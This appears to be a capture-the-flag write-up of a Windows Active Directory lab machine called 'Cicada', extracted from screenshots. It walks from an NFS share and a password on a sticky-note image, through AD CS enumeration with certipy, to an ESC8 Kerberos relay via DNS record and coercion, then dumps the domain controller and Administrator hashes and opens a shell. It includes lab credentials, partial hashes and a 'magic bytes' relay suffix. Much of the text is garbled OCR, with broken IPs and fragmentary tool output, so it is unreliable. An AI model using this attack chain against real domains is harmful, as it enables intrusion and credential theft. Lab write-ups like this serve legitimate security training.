Windows machine that tests your #enumeration  #osint  #ntim-relay  #certipy  #bloodyAD
#bloodhound  #nxc #ESC8  #kerberos #ntim-relay skills.

Initial creds:
User flag

Enumeration:
fscan:

an version: 1.
start info
18.129.23 open
18.129 : 464 open
16.129 open
16.129.: : open
168.129 i open
10.129.234 open
10.129.;
18.129
16.129.
10.129.;
16.129
168.129,
168.129.;
18.129 open
198.129.23 open
18.129.234 3 open
18.129 : ] open
0 il open

open
open

L I

open

start vulscan
[*] WebTitle http: B.129.234 48 code:200 len:703 title:IIS Windows Server

filesize Maxlink
oT 023

FILENAME




I__ ~a"|1tbftemp
10.129.234 48

~fhtb/temp/mnt/profiles

[error opening dir]
vacation.png

t:: [error opening dir]

marketing.png

14 directories, 2 files

We can download vacation.png and marketing.png

However marketing.png showed this error:

l—_ test/R

cp: cannot open P /marketing.png’ for reading: Permission denied

Note: In order to be able to download it, download it with sudo, and in order to interact with this
file you need to sudo with it (or change its suid bit)



EIX . . .

marketing.png result.txt subdomains.txt userlist.txt

vacation.png

ImageMagick: marketing.png

The image contains a hint - presumably a password on a sticky note - "Cicada123"

Now we can finally interact with AD and | immediately run rusthound and gathered checked
Idap info:




Cs

Initializing at 87:56:03 on 01/30/26
Powered by ag@h&n_0

2026-01-30T11:56:03Z IN rusthound_ce]| Verbosity level: Info
2026-01-30T11:56:03Z IN rusthound_ce| Collection method: All
2026-01-30T11:56:047 IN rusthound_ce::1ldap| Connected to CICADA.VL Active Directory!
2026-01-30T11:56:04Z IN rusthound_ce:: ldap| Starting data collection...
2026-01-30T11:56:04Z IN rusthound_ce::ldap| Ldap filter : (objectClass=#)
2026-01-30T11:56:08Z IN rusthound_ce::ldap| All data collected for NamingContext DC=cicada,DC=vl
2026-01-30T11:56:08Z IN rusthound_ce::ldap| Ldap filter : (objectClass=#)
2026-01-30T11:56:15Z IN rusthound_ce:: ldap | All data collected for MamingContext CM=Configuration,DC=cicada,DC=vl
2026-01-30T11:56:15Z IN rusthound_ce::1ldap] Ldap filter : (objectClass=+)
2026-01-30T11:56:287 IN rusthound_ce::ldap| All data collected for NamingContext CN=Schema,CN=Configuration,DC=cicad
a,DC=vl
2026-01-30711:56:287 IN rusthound_ce::1ldap] Ldap filter : (objectClass=+)
2026-01-30T11:56:29Z IN rusthound_ce:: ldap| All data collected for NamingContext DC=DomainDnsZones,DC=cicada,DC=vl
2026-01-30T11:56:29Z IN rusthound_ce::ldap| Ldap filter : (objectClass=#)
06207 ] = dap

[ ~/htb/temp
find Rosie.Powell@CICADA.VL dc-jpg225.cicada.vl
Certipy v5.0.4 - by Oliver Lyak (ly4k)
/home/teamosh/ . local/lib/python3.13/site-packages/requests/_init_ .py:102: RequestsDependencyWarning: urllib3 (1.26.20) or chardet (5.2.8)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn( "urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
Finding certificate templates
Found 33 certificate templates
Finding certificate authorities
Found 1 certificate authority
Found 11 enabled certificate templates
Finding issuance policies
Found 13 issuance policies
Found @ 0IDs linked to templates
Retrieving CA configuration for 'cicada-DC-JPQ225-CA" via RRP
!] Failed to connect to remote registry. Service should be starting now. Trying again...
Successfully retrieved CA configuration for 'cicada-DC-JPQ225-CA'
Checking web enrollment for CA ‘cicada-DC-JPQ225-CA" @ 'DC-JPQ225.cicada.vl’
1] Error checking web enrollment: timed out
!] Use -debug to print a stacktrace
*] Saving text output to '20260202012213 Certipy.txt'
*] Wrote text output to '20260202012213 Certipy.txt'J]
[infra] O:vpn 1:fscan 2:multix 3:responder-

Reading the output shows us ESC 8:

Web Enrollment
HTTP
Enabled : True
HTTPS
Enabled : False
User Specified SAN : Disabled
Reguest Disposition : Issue
Enforce Encryption for Reguests : Enabled
Active Policy : CertificateAuthority MicrosoftDefault.Policy
Permissions
Owner : CICADA.VLM\Administrators
Access Rights
ManageCa : CICADA.VL\Administrators
CICADA.VL\Domain Admins
CICADA.VL\Enterprise Admins
ManageCertificates : CICADA.VL\Administrators
CICADA.VL\Domain Admins
CICADA.VL\Enterprise Admins
Enroll : CICADA.VLMAuthenticated Users
['] Vulnerabilities
ESCE : Web Enrollment is enabled over HTTP.
Certificate Templates : [!'] Could not find any certificate templates

Doing ESC 8 is a pretty straightforward, however, ntim is disabled and we need to work around
kerberos. It requires a lot of research which led to method described in article -

https://www.tiraniddo.dev/2024/04/relaying-kerberos-authentication-from.html



https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation
https://www.synacktiv.com/publications/relaying-kerberos-over-smb-using-krbrelayx.html
https://www.tiraniddo.dev/2024/04/relaying-kerberos-authentication-from.html

Note: The suffix TUWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA must
remain exactly the same - it's the magic bytes that make the exploit work.

Basically we our ntlm relay consists of adding ourselves to DNS Record and do coercing -> get
hash

DomainController

HTTP/1.1 208 OK"

dc
Certipy v5.0.4 - by DlluEr

[#] Certificate identitiez:

[*] SAN DNS Host Name:

[*] Security Extension SID: P3393-14477 66@98247-1000"
[*] Using principal: i

[*] Trying to get TGT...

[*] Got TGT

[*] Saving credential c

Fil
[*]
[*]
[*]

e 'dc-jpg225. y ex A ite? ( ing no will save with a unique filename): y
Wrote credent

Trying to retrie

Got hash for 'dc—]pq225$ icada.vl': aad3b&35b51404 4£35b51404ee:ah595] f5de6@d195626edbeeel

Unfortunately, | was not able to get shell\any session from dc-jpg225, but since we have its
..ccache we can try to dump hashes from DC. We aim to dump sweetest users like
Administrator



DEBRA.WRIGHT@CICADANL
RICHARD.GIBBONS@CICADA VL

KATIE WARINDCICADA VL

MemberOf
MEGAN.SIMPSON@CICADA VL
MemberOf

MemberOf

ROSIE.POWELL@CICADANVL
MemberDf

MemberOf
DANIEL. MARSHALL@CICADA VL

MemberOf
DOMAIN USERS@CICADANVL
MemberOf

JOYCE ANDREWS@CICADANVL
MemberOf

MemberOf
JANE.CARTER@CICADANL

MemberOf

MemberOf

JORDAMN.FRANCIS@CICADA VL
MemberOf

SHIRLEY.WEST@CICADA VL

KRETGT@CICADANL

ADMINISTRATOR@CICADA VL

After changing our KRB5CCNAME to the new ..cache of dc-jpg225 we were able to dump
administrators hashes.
~/htb/temp

Oliver Lyak (1

/n - saying no will save with a unique filename): y

5de6@195626edbeee3




Then | tried to get TGT of Administrator and then feed it to evil-winrm or winexe

~{htb/temp
185a0da53871a9d56bbcdd5dedalasedy cic N Adminds
Impacket v@.13.08.devd - Copyright Fortra, LLC and its affiliated companies

aving ticket in Administrator.cca

~/htb/temp
ME=Administrator.ccache E
p.13.0.devd - Copyright Fortra, LLC and its affiliated compan

ing semi-interactive shell - Careful what you execute
ress help for extra shell commands

d Administar
nnot find the path specified.

ir
C no label.
Volume Serial Number is D614-4931

Root flag

no privesc, Administrator has both user.txt and root.txt



